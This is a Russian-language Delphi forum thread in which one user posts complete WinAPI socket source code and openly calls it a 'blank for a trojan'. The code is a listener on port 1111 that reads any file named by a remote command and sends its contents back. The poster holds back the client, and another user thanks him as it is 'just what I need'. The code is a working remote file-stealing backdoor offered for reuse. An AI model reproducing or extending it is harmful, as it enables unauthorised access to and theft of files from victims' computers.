Четверг, 28.03.2024, 18:13 Приветствую вас Гость | Группа "Гости" 
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Модератор форума: Волк-1024  
delphicode » Delphi » Windows API в Delphi » Winapi сокеты (Заготовка для троя)
Winapi сокеты
gravitasДата: Понедельник, 06.12.2010, 12:16 | Сообщение # 1
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
Обещал поправлять форум сорцами - вот первый.
Совместными усилиями с одним хорошим человеком я сделал отличную загатовку троя на сокетах написанного на апи. Вещь в хороших руках очень позезная так что выкладываю сие сюда:
Code
program programm1;   
     
uses
    Windows,
    WinSock, classes;

const
    dwTextBufferSize = $1000;
     
var
    WSAData:      TWSAData;
    lst_sock,
    acc_sock:     TSocket;
    addr:         TSockAddr;
    lpTextBuffer: PChar;
    data_len:     integer;
    i:integer;
    tf:string;
    aa:string;
    f:textfile;
    buf: String;
    dd:string;
    sl: TStringList;
    sText : string;

function FileExists(FileName:string):boolean;
var
    FindData: TWin32FindData;
begin
    Result:=(FindFirstFile(PChar(FileName),FindData) <> INVALID_HANDLE_VALUE);
end;

procedure remote;
begin
dd:='Такого файла не существует!';
lpTextBuffer := '';
    GetMem(lpTextBuffer, dwTextBufferSize);
    WSAStartup(MakeWord(2, 0), WSAData);
    lst_sock := socket(PF_INET, SOCK_STREAM, IPPROTO_IP);
    addr.sin_family := PF_INET;
    addr.sin_port := htons(1111);
    addr.sin_addr.s_addr := INADDR_ANY;
    bind(lst_sock, addr, sizeof(addr));
    listen(lst_sock, SOMAXCONN);
acc_sock := accept(lst_sock, nil, nil);
while true do begin
    data_len := recv(acc_sock, lpTextBuffer^, dwTextBufferSize - 1, 0);
lpTextBuffer[data_len] := chr(0);
if Length(lpTextBuffer) > 0 then  begin
if copy(lpTextBuffer,1,5) = '<txt>' then  begin
tf:=copy(lpTextBuffer,6,256);
if fileexists(tf) then begin
    sl:= TStringList.Create ;
    try
      sl.LoadFromFile(tf);
      sText := sl.Text;
      // ---------------------
    finally
      sl.Free;
    end;
send(acc_sock, stext[1], length(stext), 0);
end else  send(acc_sock, dd[1], length(dd), 0);
end;

end;
end;
    closesocket(lst_sock);
    closesocket(acc_sock);
    WSACleanup();
    FreeMem(lpTextBuffer);
end;

begin
remote;
end.

Переменных насовал как обычно с излишком т.к. я не люблю их дописывать по ходу разработки. В этом коде представлена работа (получение\обработка\передача текста через сокеты). Порт - 1111.


TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
 
gravitasДата: Понедельник, 06.12.2010, 12:21 | Сообщение # 2
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
Клиент не выложил специально (и вам не советую, а то как дам банхаммером за то что у людей отберете новые знания, которые бы они приобрели (если не знают) при создании biggrin ). Ибо если вы себе сами даже клиент (не на апи) для этой вещи написать не можете, то тут вам делать явно нечего... biggrin

TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
 
cool1Дата: Понедельник, 06.12.2010, 15:36 | Сообщение # 3
Участник
Зарегистрирован: 14.07.2010
Группа: Пользователи
Сообщений: 238
Статус: Offline
СЕНКС как раз то что мне надо!


За помощь ставьте +!
 
C@TДата: Понедельник, 06.12.2010, 20:33 | Сообщение # 4
Авторитетный
Зарегистрирован: 06.03.2010
Группа: Модераторы
Сообщений: 265
Статус: Offline
Quote (gravitas)
Клиент не выложил специально (и вам не советую, а то как дам банхаммером за то что у людей отберете новые знания, которые бы они приобрели (если не знают) при создании ). Ибо если вы себе сами даже клиент (не на апи) для этой вещи написать не можете, то тут вам делать явно нечего...

на самом деле большинство людей не тупо юзают чужие исходники(классы, компоненты) а они либо просто смотрят на реализацию и берут что-то себе либо просто смотрят и делают что-то похожее но свое

рас уж затронули тему сокетов то вот вам пример моего НТТР клиента (проски поддерживается biggrin )

Прикрепления: Simple_HTTP_cli.rar (6.7 Kb)




Сообщение отредактировал C@T - Понедельник, 06.12.2010, 22:19
 
gravitasДата: Суббота, 11.12.2010, 20:56 | Сообщение # 5
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
Quote (C@T)
на самом деле большинство людей не тупо юзают чужие исходники(классы, компоненты) а они либо просто смотрят на реализацию и берут что-то себе либо просто смотрят и делают что-то похожее но свое

Если бы...
biggrin


TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
 
delphicode » Delphi » Windows API в Delphi » Winapi сокеты (Заготовка для троя)
  • Страница 1 из 1
  • 1
Поиск:

delphicode.ru © 2008 - 2024 Хостинг от uCoz